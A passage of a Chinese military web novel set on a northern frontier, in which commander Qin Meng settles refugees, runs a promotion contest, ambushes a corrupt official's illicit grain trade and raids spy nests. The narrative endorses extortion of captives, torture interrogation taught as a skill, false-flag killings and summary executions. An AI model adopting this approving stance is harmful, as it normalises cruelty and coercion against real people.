你们怕事情不好控制,没办法,只好答应帮忙搞钱搞粮。我这儿啥都缺,你们自己想法子,让家里掏钱,让朋友‘借’钱!以前认识的那些奸商,有一个算一个,都去给老子‘借’点来花花!”
秦猛越说,越觉此计似曾相识,好像有点**窝点,又像是后世缅北的意思,却颇为实用。
这些公子哥及其人脉网络,好比蚂蝗,总能吸出些血来,就像是人形“钱袋子”,虽非长久之计,但眼下能榨一点是一点,不要白不要。
第315章 流民归序,双塔求援
流民被安置于临时毡房,青壮经筛选,合格者补入军中,余者编入劳力队,参与军寨营建。
除流民外,常氏粮行护卫队,李家、罗家等本地富户送来的青壮们,已决定要在军寨落户,不仅自己转入军籍,而且正月后,家眷赶来。
年前放归的幽州厢军,也从二月中下旬起陆续如约返寨,穷困人家举家搬迁,家境好的带来了三两伴当,那是家里雇来帮他们干活的……
果然如年前所料!
开春后,铁血军寨的人数急剧暴增。
流民队伍如潮水般持续涌来,骤然激增的人口,于铁血军寨而言,既是机遇,又是挑战。
老保长与诸葛风等人虽忙得脚不沾地,但军寨早已今非昔比。历经数月经营,一套高效的管理体系已初步成型,安置之事竟也有条不紊。
妥善安置后,劳动力被迅速甄别、编组,各归其位:
近期垦荒备耕,为第一要务:
最大批劳力,多半是健壮男丁与能扛粗活的妇人,被编入垦荒队。经验丰富的老农带队。
先清扫残雪,再丈量寨外无主荒地,由新任农曹佐史何方带人统计造册。
随后,众人挥锄扬镐开垦生土,将早已沤熟的农家肥匀入田中,为开春播种做最紧要的铺垫。
工坊与少青队并行:
那些心灵手巧的妇人被分入被服、制革、编织等工坊,各展其长;
半大的小子们则统一编入“少青队”,由伤残老兵带领操练,既练简单军事动作、养纪律意识,每日还需到新开学堂识文断字。
此外,巡逻放哨、照料军马等辅助活计也由他们承担,既是约束少年郎,又是储备后备力量。
营建不辍固根基:
另一支队伍由精壮劳力与有手艺的工匠组成,专攻军寨扩建加固。乱世之中,边寨便是安身立命的根本。
核心主寨、前后瓮城及附属寨墙的砖石工地上,夯土号子、凿石声、搬运材料的呼喊声交织,昼夜不息,一派兴旺。
人口激增也倒逼管理升级,许多有能者被破格提拔:
学堂总教授朱俊升为户曹副使,协助老保长打理户籍;
表现突出的何方兼任农曹佐史;
就连从幽州招募的读书人、良家子,及流民中崭露头角的机敏之人,也纷纷被任为各曹副使、书佐。
这般“有能者上”的机制,彻底点燃了所有人的干劲——落户不久的人看到了安身与上升的希望,人人卖力,军寨上下透着股蓬勃生机。
正值此际,秦猛正筹划借士气高涨,办一场军寨内部的营队竞技大赛,既为筛选精锐,也为检阅军队,更为即将到来的边军大比预热。
可计划刚定,一位不速之客来了,打乱了全盘部署。
来者是东面五十里外双塔城寨的雷牙营副将陈良,他显然听闻了南河城寨的巨变,快马加鞭只为求援。
军寨官署,酒宴上,陈良对着秦猛大倒苦水,目光又殷切地扫过作陪的老熟人赵平与周扬。
“秦统领,赵兄,周兄!你们是没见识过双塔那个监镇官杨秋兴的德行!
此獠仗着幽州杨家势大,克扣军饷、倒卖物资、欺压良善,无所不用其极,比那孙仁还要恶毒几分!”
他越说越愤慨:“过往商队要缴重税,不然就扣上通匪的罪名;城寨内百姓更惨,苛捐杂税多如牛毛,逼得好些人卖儿卖女!
他甚至纵容小舅子,强占军户的军功田!何知寨为人刚正,这些年没少跟他理论掰扯,几乎撕破脸,几次奏报帅司,却都石沉大海!
迟迟无法解决,我雷牙营的弟兄们早憋了一肚子火,百姓更是快被逼得没活路了!再这么下去,边寨内部生乱,**一来,咱们拿什么挡?
秦统领,赵统领,你们能帮魏知寨除了孙仁,万望也伸伸手,帮兄弟拔了杨秋兴这颗毒钉!”
秦猛闻言,第一念头便是婉拒,连番动作已够招摇,再动杨秋兴,极易引幽州方面恼羞成怒。他这边扩军练兵才刚起步,不宜冒险浪战。
可边上赵平的暴脾气早已按捺不住了,浓眉一扬,声若洪钟:“陈副将这话,正合我意!铲除这等国蠹民贼,本就是我辈该做的事!”
周扬偏谨慎,皱眉道:“赵兄,咱们贸然动手,是否不妥?不如先禀报赵将军,请他定夺?”
“哎,这点小事何须烦扰将军!”赵平摆手——他实则是怕赵将军顾全大局不同意,错失良机。
他恶狠狠补了句:“这些欺压百姓的蛀虫,帅司碍着官场颜面不好动手,咱们就自己来!
孙仁伏诛的消息瞒不住,与其让杨秋兴之流警惕防范,不如果断出击,扳倒一个是扳,扳倒两个也是扳!既然这杨什么是一路货色,那就一并收拾了,还我飞虎卫防区一个清明!”
周扬欲言又止,最终默然。
他虽觉此举稍显莽撞,却也认可。能一劳永逸震慑宵小,免得幽州虎贲军被地方蛀虫当成纸糊的。
“秦老弟,你怎么看?”赵平转头追问。
秦猛见赵平态度坚决,心知此刻若是退缩,必被边军众将所看轻,日后合作难免生隙。
更何况,对付幽州官僚,铲除贪腐本就是“大义”之事,他更不能落于人后。无奈之下,他苦笑道:“赵大哥都这么说了,我没意见。只是此次须得周密筹划,绝不能留下把柄。”
四人一番密议,最终定下计策:
借双塔镇周边常有马匪流窜,打着剿匪的由头去。再利用杨秋兴近期要与草原商人做大宗交易的情报,探
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明情况,行“假盗锄奸”之计。
秦猛派王铁山、李山各率人马前往,再让**、秦小六带队相助。
赵平更是豁然起身,斩钉截铁:“你不便出面,我亲自带队!机会来了,岂能不亲手拿下这**?”
计策既定,秦猛立刻派石地虎带精锐小队先行。
——当夜,飞天卫便潜入双塔城寨,摸进监镇官府,次日天明,锁定了一个关键人物——杨秋兴最信任的仓曹林参军,此人有贪杯的毛病。
石地虎设局,以珍贵的佳酿为诱饵,将其灌得烂醉,套问出了准确消息,一面继续探查,一面及时将探得的消息以最快速度传回军寨。
“最新消息。”秦猛指尖点向双塔寨外的地图,声音低沉,“两日后子时,杨秋兴会在野狼峪与草原‘灰胡’部落交易。这次,他动用了本应入库的官粮,足足两百车,要换黄白之物。”
“混账东西!”赵平气得额头青筋暴起,低吼道,“用咱们将士浴血守护的粮草去肥**的肚子!”
“此獠不除,天理难容!”
“挑一批绝对可靠的弟兄在野狼峪设伏,关键是要等双方汇合、验货交钱时,再雷霆一击——如此才能人赃并获,让杨秋兴百口莫辩!”
秦猛目光如电,沉声道:“先选好伏击地点,务必将双方人马都罩住。赵大哥、王铁山带队动手,切记快、准、狠,莫让消息走漏。”
“得令!”
……
南河城寨历经两日雷霆清洗,苛捐杂税一扫而空,民生得以喘息,希望重燃,寨内非但未生乱象,反而人心凝聚,秩序更胜往昔。
然而,总有阴沟里的臭鼠不甘沉寂。
是夜深沉,附寨灯火渐灭,万籁俱寂,唯有寒风卷过空巷,发出呜咽之声。
一道黑影如鬼魅般掠过低矮的屋檐,身形矫健,直奔南墙,悄无声息地翻越而出,融进墙外无边的黑暗里。
他对此地极为熟悉,在废墟与窝棚间敏捷穿行,最终闪入一处半塌的窝棚。
棚内,竟已藏着两匹鞍辔齐全的骏马,正吃着草料,不安地踏着蹄子。黑衣人明显松了口气。
黑衣人急步上前,伸手就去解缰绳,意图显而易见。
——他要趁夜报信。
可就在他脚踝发力、翻身欲上马的刹那,侧旁残破的土墙后,黑暗中猛地窜出几条彪悍身影,如猎豹扑食,动作快如闪电!
一人扫腿直攻下盘,另一人则铁钳般的手已狠狠扼住他尚未坐稳的脖颈。
巨力袭来,黑衣人闷哼一声,被重重掼在冰冷的地上,脸颊紧贴着污浊的冻土,瞬间被死死按住,动弹不得。
一道冷冽的声音在他头顶响起:“盯你两天了,城寨戒备刚解除就走,说,想往哪里送信?”
第316章 铁腕审敌,寒门通路
“说!谁指使?往哪里送密信?”
地牢深处,火光摇曳,映照出牛五那张狰狞的脸。他揪着黑衣人的头发,将其脑袋狠狠提起,恶狠狠地道:“你最好配合,免得受苦。”
半个时辰,黑人被捆绑,头套布袋,送到此处。
秦猛得知消息,派出悍勇的“老手”牛五来连夜审讯。那封搜出的密信被他捏在手里,却并不拆看,仿佛口供远比纸上的证据更重要。
黑衣人啐出一口血沫,冷哼一声,倔强地偏过头去。
“好,好啊!又碰到硬汉了!”牛**怒反喜,咧嘴露出白森森的牙齿:“你不说,别人就猜不到吗?除了幽州崔老狗及爪牙,又没有谁?”
那个黑衣人瞳孔剧烈收缩。
“没苦硬吃的货!”牛五露出冷笑,对手下挥了挥手,
“老子就喜欢啃硬骨头!”
“来,好好伺候着,让这位好汉松松筋骨!”
不久后,惨叫声和沉闷的击打声顿时在狭小的牢房里回荡起来。
牢房外的阴暗过道上,秦猛负手而立,冷冷地看着里面发生的一切。他身后站着李明、阮大兄弟等几名即将外放独当一面的亲兵队长。
“看仔细了。”秦猛的声音不带丝毫感情,“你们很快就要脱离本将亲兵队,去带领儿郎们组建水师营。这种审讯手段,好好学一学。
技多不压身!将来在江上、海上,或是在岸上,逮了舌根子硬的探子,倭寇,用得着。”
“是!”阮大、李明等人神色一凛,纷纷点头,将目光死死锁在牛五的每一个动作和问话的节奏上。
秦猛用拇指点了点地牢更深处:“那里面,还关着前番逮住的**探马,还有个嘴更硬的女真千户。等牛五这边忙完,你们可以轮流去练练手。”
他顿了顿,语气骤然转冷,如塞外寒冰,“记住,对敌人仁慈,就是对自己兄弟的不负责任。
想想我们多少汉家百姓家破人亡,或在他们那边当牛做马,想想他们的刀是怎么砍向我们父老的脖子。那咱们就以牙还牙,以眼还眼!”
“明白!”阮大、李明等人重重点头,眼中瞬间流露出狼一般的凶狠光芒。望向牢房深处时,人人摩拳擦掌,已是迫不及待要亲手实践。
秦猛不再多言,转身走出地牢。
外面略带寒意的清新空气扑面而来。早已等候在此的飞天卫教官陈石,戴着遮脸的兜帽。
他快步迎上,低声道:“大人,根据陆队长送回来的线索,飞天营三队已经集结完毕,随时可以支援,动手拔掉那几个可疑的窝点。”
秦猛望着远处渐亮的天色,非常肯定地说:“不急。牛部将撬开俘虏的嘴,只是时间问题。
但为了万无一失,等双塔城寨那边石地虎摸清情况,准备信号到了,两个城寨一起动手,方能一网打尽,届时我会派亲兵协助你们。”
“好!”陈石沉声应道。
“另外,多派点得力人手去协助石地虎和陆晓飞,给我把双塔城寨,南河城寨周边钉**。”
“一只苍蝇也别提前放跑。”
“得令!”
陈石轰然应声,转身快步离去,身影迅速消失在晨曦的薄雾中。
秦猛转身步入渐亮的天光中。
深夜起床的他并未感到疲惫,反而有种锐利的清醒。他带着亲信,信步走向寂静的主寨内。
不知不觉间,他途经规模急剧扩充的**营区。
如今的**营,已非昔日仅有冷艳山数十名降卒的小营盘。在短短几月内,它已膨胀为下辖两个营、足有千余青壮劳力的庞然大物。
其中成分复杂:最初那几十名山匪,算是元老。随后是三百余名地方厢军,这些人是受过基础训练的兵油子;
而真正的大头,则是庞仁“慷慨”送来的近四百名被清洗的、原属董家派系的军汉。燕北郡官府为了开源节流,陆续送过来的地痞无赖,偷鸡摸狗之辈,全送到边军营地来调教。
这批被借调走的三百多人,暂且不提。从其他州府流放过来的四百多名充军**或重刑犯。
三教九流,鱼龙混杂,却无一例外都是精壮汉子,是一股被压抑着的、危险而又充满潜力的力量。
秦猛尚未靠近,便已听到营内传来的低沉呼喝与沉重的喘息声。
他示意把守卫兵不必声张,悄然立于营门阴影处向内观望。
借着清晨的微光,只见院内空地上,黑压压三四百人正自发进行着各种操练。俯卧撑、撞墙、角力,甚至有人模拟着持矛突刺的动作。
十几个明显是头目的人物,或是走在队列之中,或如礁石般立在人群前方,低声却有力的嘶吼鼓动:
“都**精神点!陈老四当初在山上只是个巡风的。现在呢?是能带一队人马的爷!咱们差什么?就差加强训练,就差这股子狠劲!”
“秦将军仁义,给咱吃饱穿暖,时常有肉吃,不把咱当牲口!想留下,想活出个人样来。就甭惜力,就得训练。”
“咱们只是犯了点错劳动改造,又不是什么丢人的事儿。只要改正,就是一条相当当的汉子。”
“看见没?前段时间
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,有兄弟过草原杀**,两天前,又有一批人凭着本事选进辅兵队了!那就是出路!”
这股不甘人后、拼命想要抓住一条出路的狠劲,形成一股强大的气场,感染着更多人加入。
秦猛静静地看了许久,眼中闪过一丝不易察觉的赞赏。
这些曾经被外界视为渣滓的“罪囚”的家伙,在绝对的纪律和相对的公义之下,非但没垮下,反而爆发出了求生欲和好胜心、上进心。
“这就是动力,往上爬的动力!”秦猛默默颔首,心中那个关于打破出身、唯才是举的计划愈发清晰。
离开**营,路过少年队的营房时,里面细微的动静,偶尔有哼哼声让他苦笑。不用看也知道,必是小石头那帮半大孩子又在偷偷加练。
他严禁少年队过早进行高强度训练以免损伤根基,但这群小子,尤其是那个眼神倔强的小石头,一直惦记着打趴下秦硕,李魁两人。
总有办法在夜深人静时,带着同伴在通铺上练习俯卧撑,在角落里模仿着军汉们摔跤的架势。
“堵不如疏,压不如引……”秦猛喃喃自语,回到官署。他打算找个时间跟小石头再谈一谈。
“看来,我这个思路确实要改一改了,选材用人,不能过于拘泥形式。”秦猛靠坐在官署的宽背椅上,**营的自觉、少年队的争先、以及女子队、少青队的潜力,在他脑中交织,一个更系统、更开放的人才选拔与激励方案逐渐成型。
次日,伴随着地牢里黑衣人精神崩溃开始招供的消息,盖着知寨大印的告示,贴满了寨内各处的公告栏。
告示明确宣布:为拔擢人才特举办“辅兵晋级赛”。
所有辅兵、新兵、民兵、女子队、少青队、少年队成员,乃至**营中恪守规矩、记录良好者,皆可至各队队正处报名参赛!
第一关:铁人三项。
负重三十斤越野奔袭五里,返回后立即开六力硬弓三次,接着便是包棉木棍的无限制格斗,会根据表现打分,直接淘汰半数以上人选。
第二关:战阵模拟。
剩余者随机编队,进行小队攻防对抗,考核指挥、协同与应变,将领们会仔细观看每个人的表现,不仅看勇猛,更看头脑和担当。
第三关:特长展示。
此为本届大赛亮点:擅骑射者,可挑战移动靶箭无虚发;
通晓山林者,需在沙盘上快速标出水源、路径与伏击点;
甚至有女子队专项,如何利用身形优势进行伪装渗透;几个少年队员竟能识读简单的军令文书……
第317章 军赛启,贼臣落
这辅兵晋级赛,说白了就是两条往上爬的梯子。
第一段,是“内部选拔”。
只要你是在辅兵、新兵或者民兵等各自队伍里,平时干活卖力,训练成绩拔尖,就能被选上“优秀标兵”。
选上了,饷钱立马多加一份,还能领到更好的装备。
辅兵,民兵能进战兵预备队操练,甚至直接补入战营;女子队和**营的人,也能升格进正式的辅兵队伍,协助执勤,逐渐加强训练。
少青队和少年队则入辅兵预备队!
第二段,才是真刀**的“对抗赛”。只有内部选拔冒尖的人才有资格报名,要么单挑淘汰,要么小组混战,
最后按积分排名。这可不是光给赏钱那么简单,名次好的,伍长能升什长,什长就有资格被提名当队长!
这是实打实、一步登天当军官的路子!
以后这比赛,军寨年年都办,就看谁有真本事!
此次大赛,由知寨秦猛亲自坐镇。
秦大壮、刘铁柱、常勇这帮老行伍当裁判,甚至还会邀请外营特邀将领,谁也别想耍花样。
军令一下,整个铁血军寨就像烧开了的滚水,彻底炸了锅!
“报名!快给老子报名!”
辅兵营里吼声震天,人人眼睛冒光。
女子队那边,一群姑娘围着队正秦小芸,急急地问:“队正!射箭和辨识草药咱们能参加吗?”
半大的小子们更是缠着教官,叽叽喳喳问个不停。
动静最大的,还得是**营。看守把话说完,底下黑压压的一片人先是愣得没一点声儿,紧接着,就爆发出几乎要掀翻屋顶的喧哗!
“听见没?咱们也能上?”
“哈哈哈,有机会出去了!拼了这条命也得试试!”
“挤什么挤!排队登记去!”
报名的人潮把几个赛事登记点挤得水泄不通,负责登记的军官嗓子都喊哑了,按规矩办事。
凡表现差的,偷懒的,不予录取,却给予激励。
可表现优异者更多,名册还是一摞一摞地厚起来。
第二日,天色渐亮。
点将台上,秦猛看着下面人山人海的校场。**营的人虽排在最后,但眼神像饿狼见了肉;
少年队个头不高,却个个梗着脖子不服输;女子队人最少,但站在那里,背脊挺得笔直。
他走向高台前方,向下方报名的军卒挥手:“铁血军寨首场晋级赛,报名结束后,便正式开赛。”
就在全寨的注意力都被这震天的鼓声和校场上的较量吸引时,军寨几十里外的双塔城寨。
一场无声的猎杀,已经拉开了序幕。
**和秦小六带着十几个身手最好的兄弟,扮成商队伙计,早在于两天前,就混进了城寨。
飞天卫石地虎带队再次立功!
深夜,他们犹如鬼魅般行动起来,潜进监镇衙门的库房,翻找杨秋兴贪赃的账本;并暗中重金买通杨秋兴身边的心腹,套取他勾结商队、克扣军粮,甚至私通外敌的信件证据。
同时,**他们也没闲着,偷偷找上那些被杨秋兴害得家破人亡的军户和百姓,收集血泪状纸,提供渠道,鼓动他们联名向军寨喊冤。
只等时机一到,就要把这群祸害连根拔起!
当天深夜,野狼峪。
月黑风高,寒风刺骨。埋伏在草丛中的边军锐士如石雕般纹丝不动,唯有眼中闪烁着猎杀的寒光。
子时将至,峪道东西两侧几乎同时传来动静。
东面,是打着双塔寨监镇衙门灯笼的运粮车队,足有两百余人,车轮碾过碎积雪,发出“嘎吱”声。
西面,清脆密集的马蹄声由远及近,一队剽悍的草原骑士如风掠至峪口空地,约莫百八十人。
双方显然不是第一次交易,并无多余寒暄。胡商头领一挥手,随从便提着沉甸甸的皮袋上前。
杨秋兴的心腹管家也示意手下打开粮袋,露出白花花的大米。胡商抓了把米在手中捻了捻,满意点头。
就在双方首领伸手,即将完成钱货交割的刹那——
居高临下的赵平眼中寒光骤闪,弯弓搭箭,一支响箭直射夜空,尖锐刺耳的唿哨划破沉寂!
“杀——!”
刹那间,夺命箭矢并非射向灯笼,而是精准泼洒向交易现场核心的双方护卫。现场顿时大乱。
“是……是马贼?”
“保护金豆!”“该死,护住粮食!”
惊呼声、怒吼声、兵刃碰撞声瞬间炸开!伪装成马贼的边军锐士如狼似虎,从山坡猛扑而下。
马蹄如雷,刀光闪耀。
他们刻意不分目标,同时攻击官兵与胡人,将场面彻底搅乱,坐实“悍匪**”的假象!
王铁山一马当先,朴刀挥舞得虎虎生风,接连砍翻挡路者,直奔杨秋兴的心腹管家;
赵平更是目光如炬,锁定了那名试图在胡人护卫掩护下骑马逃窜的胡商头领,手中**如**出洞,连续挑翻数名悍勇护卫,直取目标!
战斗激烈却短促。在有心算无心、且是边军精锐的突袭下,双方护卫虽奋力抵抗,却很快被分割歼灭。
企图趁乱溜走
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的管家被一脚踹翻,捆了个结实;那胡商头领,也被赵平一枪杆扫**下。
金豆与粮食尽数缴获,铁证如山。
连夜审讯时,管家与胡商人等全被分开问话,一番手段之下,两人供词相互印证——杨秋兴盗卖官粮、资敌牟利的铁案,就此铸成。
就在赵平,王铁山等人伏击得手,取得关键性的口供时。双塔城寨,李山率领大队骑兵,以追绞**为由,通报守军入寨,封锁四门。
任何人敢出城,无论背景,一律拿下。
**和秦小六带人只是明面上的鼓舞当事人。
秦猛更是下令暗部猎犬,联络城寨内的情报站,巧妙地在茶楼酒肆散播杨秋兴做的龌龊事儿。悄然引导**,积郁的怨愤如暗流涌动。
“听说了吗?杨监镇的小舅子,半月前,强占了东村王老汉家的军田,逼得老汉一家上了吊!”
“何止!城外那伙新来的马匪,怕是跟杨监镇有勾结,不然怎么专抢不给他上供的商队?”
“诶哟,这杨啥玩意胆子这么大?”
“这有什么不敢?幽州杨家那可是了不得的势力。”
“自从城寨有了监镇,百姓的日子是越来越难过喽!”
……
在有心人的推波助澜之下,流言如野火般蔓延。
而关于杨秋兴小舅子强占军田、逼死十几条人命的详细状纸和血泪控诉,也被匿名投递到了知寨官何琼的案头,连同一些确凿的物证。
一直对杨秋兴跋扈隐忍不发的何琼,当看着手中赵平派人秘密送来的通敌铁证,再听着窗外愈演愈烈的民怨沸腾,知道动手时机已到。
次日清晨,何琼终于不再沉默,亲自披甲,率亲兵直扑监镇衙门。衙门内的杨党羽翼尚未弄清状况,便被飞虎卫以雷霆之势,迅速控制。
整个过程不过半日,双塔城寨变天。
杨秋兴及其核心党羽下狱,家产抄没。一切看似是城寨数千军民**,雷牙营内部忍无可忍的雷霆清算,而铁血军寨的身影隐于幕后。
消息传回,秦猛拊掌:“干得漂亮!告诉李山、王铁山,清理手尾,做得干净些。另外咱兴师动众,该我们的那份,一粒米都不能少!”
双塔城寨的何知寨,或许是受够了这被掣肘的局面,丝毫不留情面。处理手法竟与魏文如出一辙。把杨秋兴当众砍了脑袋来平息民愤。
余下党羽,该杀的杀,该充军的充军,所缴获的钱粮充作军资,同样大部分往幽州大营赵将军那里送,给秦猛和赵平各送上一份厚礼。
第318章 午夜犁庭,双寨耳目净
铲除杨秋兴**固然爽快!
但秦猛深知,真正的较量现在才刚刚开始!
——如何善后,在幽州帅司那边将这场“兵变”说得合情合理、甚至有功无过,才是关键。
密室内,秦猛将诸葛风精心润色后的申状递给亲兵:“八百里加急,一份送到幽州大营给赵起将军过目,等他发货后,再送至边防帅司。”
这份申状可谓字字珠玑:
南河城寨那边,将孙仁之事坐实为“教唆手下报复边军,公然袭击、囚禁殴打、侮辱军官”,而且拒不配合调查,带队反抗,将铁血军寨置于维护军纪法度的受害者与执法者位置。
至于双塔城寨,则描绘成“马匪猖獗,荼毒百姓”,铁血军寨“应何知寨恳请,助剿匪患”。
并在过程中“意外查获监镇杨秋兴通敌铁证”。这个消息不胫而走,城寨数千军民**。
何知寨“为保城寨安宁,不得已行雷霆之举”。整个过程,铁血军寨只是“义愤相助”的配角。
几乎同时,双塔城寨的何琼、南河城寨的魏文,也按照约定,各自将已准备好的、附有详细罪证和血泪控诉的文书,连同对自身“受尽掣肘、忍辱负重”的哭诉,派心腹送往幽州。
飞虎卫统领赵平也派人随行同往。
申状如雪片般飞向幽州,三管齐下,彰显着虎贲军将士的愤怒。要将这两件事彻底搅浑,将孙仁、杨秋兴钉死在耻辱柱上,并将秦猛、何琼、魏文都塑成为国除奸、为民**的悲情英雄。
秦猛对诸葛风冷笑道:“帅司里那些草包蛋,就算看出蹊跷,在这‘民怨沸腾’和‘通敌铁证’面前,也只能顺水推舟,不得不当作默认。咱们要的就是这颗定心丸,和消化战利品的时间。”
双城寨行动虽捷,但逐渐扎根的猎犬情报部门和随军的飞天卫却反馈回一个令人警惕的信号:
两个城寨内部,盘根错节地存在着不止一方的眼线,尤其是幽州某些文官集团安插的耳目。
“我们不能成为下一个双塔城寨。”秦猛目光锐利,立即下令:“飞天卫与‘猎犬’全部动起来,给我从上到下,从里到外,把军寨所有人彻底梳理一遍!一只外来的老鼠都不能有!”
一场无声的内部清查悄然展开。
全寨上下,从战兵到辅兵,从工匠到**营,过往经历被再次核对;这是个长久艰巨的工程。
目前从新近投靠者,尤其是幽州来人,更是重点甄别对象。
幸好军寨由小堡升格不久,核心人员相对纯净,且秦猛一直注重内部防范。
军寨军事化管理、联防保甲制度此时发挥了作用,经过数日缜密排查,确认核心区域并无可疑分子渗入。涌入的人群处在观察阶段。
对于常氏粮行、李家、罗家等外来商贩,飞天卫也加大了监控力度,确保其活动在可控范围内。
秦猛在听取陈石的汇报后,稍感安心,继续发号施令:“官署、工坊、库房、军营等要害,必须确保铁板一块,这点任何时候不可松懈。
附寨眼线耳目不被清除,外面的眼睛可以留几只,但要让他们变成我们的传声筒,而非窥视我们的洞口。至于两个城寨眼睛必须戳瞎。”
秦猛的目光冷峻如冰。剪除孙仁、杨秋兴只是拔掉了明面上的钉子,暗地里却留有许多隐患。
两座军寨存在数十载的光阴,藏着不少“暗疮”——尤其是可能来自幽州或其他势力的耳目,必须趁此良机,以雷霆万钧之势一并剜除,绝不能给他们任何反应和隐匿的机会。
行动前,在官署军事会议室内,秦猛对着巨大沙盘上标注的十余个红点,下达了最终命令:
“按计划行事!子时三刻,同时动手。凡榜上有名者,无论背景,一律拿下!
反抗者,格杀勿论!
绝不允许有一个漏网之鱼!
我要让今夜之后,双塔、南河两寨,再无一只外来的耳朵和眼睛!再也无人敢向外递出一句话!”
“得令!”王善,**,臣石,林怒等人纷纷领命。
……
北疆的春夜,寒风依旧凛冽。
“梆梆……”更夫的梆子声刺破黑夜。
双塔城寨,醉仙居。
梆子声刚落,王铁山率领的骑兵已无声封锁了周边所有街口,副官带精锐步卒堵住出入口。
陈老三的“猎犬”与石地虎的飞天卫如鬼魅般攀上酒楼屋檐。
随着一声夜枭啼叫,破门槌轰然撞开大门,官兵如潮水涌入。
“跪地不杀!”的怒吼与杯盘碎裂声、惊叫声混杂一片。
数名伙计操起桌椅顽抗,或直扑二楼企图销毁证据。
后院同时传来打斗,酒楼掌柜带心腹撞破暗门冲出,却见火把骤亮,王铁山横刀立马堵住巷口。
“某家候尔等多时!”
墙头**寒光点点。更有两人欲从二楼窗沿溜走,却被伏于暗处的飞天卫凌空扑下,死死按在瓦楞上。
混乱中,从一处夹墙密室搜出的,竟是带有帅司独特暗记的令牌。
——这酒楼,竟是帅司安插的要穴!
同一时刻,双塔城寨北区,界河客栈。
**带队突击,同样迅猛异常,伙计被纷纷按倒。
可店内掌柜模样的汉子武功奇高,掌风凌厉,连伤数名士兵,身形一纵,便欲上房逃窜。
忽听破空锐响,一支狼牙箭精准贯穿其大腿,将他从半空射落,未等起身,数把钢刀已架颈上。
后院一个马夫用烛火点账册被
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制止。从他手中夺过的,正是毁了一半的城寨粮草调度清单。
……
南河城寨,罗氏布庄。
这里的抵抗更为激烈。陈石、陆晓飞带队刚撞开大门,数支**箭便从内激射而出,显然对方早有防备。
王善举盾大喝:“强攻!”
士兵顶着箭雨突进。骤然间,后院墙塌窟现,数条黑影分路狂窜,凭借对巷道的熟悉亡命奔逃。
“追!一个不许放跑!”陈石厉喝。一场暗夜追逐瞬间展开。
一人接连翻越数道矮墙,气力不济,被陆晓飞飞身扑倒,两人在泥地翻滚扭打,终被陆晓飞以匕柄重击后脑制服。
另一人钻入死胡同地窖,却被林怒带人堵死出口,成了瓮中之鳖,用烟生生熏出,涕泪横流。
清理布庄时,发现了一条被堵通向城寨外的地道,以及与草原部落交易的铁证。
南河城寨,怀仁堂药铺。
化装成急症病人的飞天卫叩开店门,在郎中开门的瞬间暴起发难,以极小代价控制全场,成功阻止了地窖夹层内大量密信的销毁。
药铺老板实为“多面谍”,信件来源错综复杂,其中既有幽州刺史府指示他收集将领是否有越界之举,又有帅司严密监视城寨情况密令……
而真正彰显此次行动无孔不入的,是南河城寨门口那家不起眼的“李记烧饼铺”。
当抓捕人员靠近时,那终日围着油渍围裙、看似憨厚的男光棍老板,眼中骤然闪过厉色,反手便从面案下抽出一柄细长的剔骨尖刀,身法诡异地直刺而来。
然而他快,埋伏在侧的飞天卫更快,一道黑影后发先至,铁钳般的手已扣住其腕脉,顺势一扭一按,便将其脸重重摁在发黏的面案上,动弹不得……
这一夜,双塔、南河两寨血雨腥风。
当黎明将至,战报呈于秦猛案头:两寨共端掉十处窝点,擒杀数十,缴获密信、令牌无数。
其中,五处是幽州城那边安插的耳目。三处直接关联幽州帅司,其余是幽州其他势力眼线。
秦猛抚摸着那块冰冷的帅司令牌,眼中寒芒更甚:“帅司的耳目?既选择与贪腐蛀虫同流合污,视边关军民如草芥,就别怪我手黑。”
“审!挖干净他们的底细,然后,连同这些‘自己人’,一起处理干净。我要让所有人都明白,在这片土地上,敢伸手窥探者,只有死路一条!”
这场席卷两寨的午夜风暴,以其彻底的残酷,宣告了铁血军寨对周边地域的绝对控制权。所有潜在的隐患,在这一夜被彻底犁庭扫穴,铁血军寨的根基,由此变得更加坚不可摧。
然而,秦猛却没想到,这边他在打击别人的耳目眼线,而在幽州,自己的暗部也遇到了麻烦!
第319章 幽州春沸,杀机暗涌
三月的幽州城,仿佛一头冬眠醒来的巨兽,在暖阳下舒展着筋骨。
积雪消融,雪水汇成涓涓细流,漫过青石板路的缝隙,空气里混杂着湿土、马粪和刚出炉的炊饼的复杂气味。
城门外,田野间已有农人吆喝着耕牛,进行春耕前的准备。
城内更是人声鼎沸,来自冀州的庞大商队带来了江南的稻米、光滑的丝绸和各色作物种子。
骡马的铃声、车轴的吱嘎声、以及天南地北的口音叫卖声,汇成一曲边塞特有的繁华乐章。
西域胡商带着卷发深目的仆从,摊开色彩艳丽的毛毯和奇特的香料,偶尔有蒙着面纱的胡姬走过,眼波流转间,引得不少粗犷的边民驻足傻看。
“炊饼,卖炊饼喽!”街上,一个挑着担的汉子叫卖着。时不时停下来,拿出热腾炊饼递给客人。
沿街各种卖小吃的吆喝声此起彼伏。
在这片看似无序实则有序的喧嚣中,说书先生陈豹,暗部代号“八哥”——如同一条滑溜的鱼,从容游弋。
他手中的布幌子上写着“谈古论今”,步伐不疾不徐,目光似乎总是在寻找人流汇集之处,准备开讲。
然而,他那双看似随和的眼睛,余光却像最精密的雷达,早已锁定身后那两个如同跗骨之蛆的身影。
对方是跟踪的好手,利用人群、摊贩做掩护,时而交错,时而并行,始终保持着十余丈的距离,若非陈豹是此道精英,几乎难以察觉。
陈豹心中冷笑:“崔老狗的爪牙,果然还没死心。”
他知道,这是前两次成功煽动**、几乎酿成民变的必然结果。
刺史崔文远暴跳如雷之下,不仅清洗了府邸内部,也撒下大网搜寻一切可疑的外来者。
自己这个近几个月才出现在幽州城的说书人,被盯上实属正常。
这“尾巴”已跟了他七八日,他佯装不知,就是要摸清对方的路数和意图,同时,也做好了随时“金蝉脱壳”乃至“反戈一击”的准备。
陈豹与那个卖炊饼的小贩擦肩而过的瞬间,对方极快地低语:“风紧,身份已漏,可弃。”
陈豹嘴唇微动,声音几不可闻:“明白,我先清尾。”
他不动声色,依旧走向常去的那家“刘记面馆”。堂木一拍,今日他讲了一段新颖的《剑仙情缘》,将修仙者的御剑飞行、法宝争斗与才子佳人的缠绵悱恻结合,说得天花乱坠,引人入胜。
店内食客听得如痴如醉,连角落里的两个跟踪者,也被曲折的情节吸引,暂时放松了警惕。
斜对面一家生意冷清的茶铺里,几个看似普通的茶客,慢悠悠地品着茶,目光却不时扫过面馆门口,那是暗部的接应点,确保行动万无一失。
说书完毕,陈豹拿着铜锣绕场一周,收获了不少喝彩和铜板。
他慢条斯理地吃完一碗面条,这才收拾家伙离开。
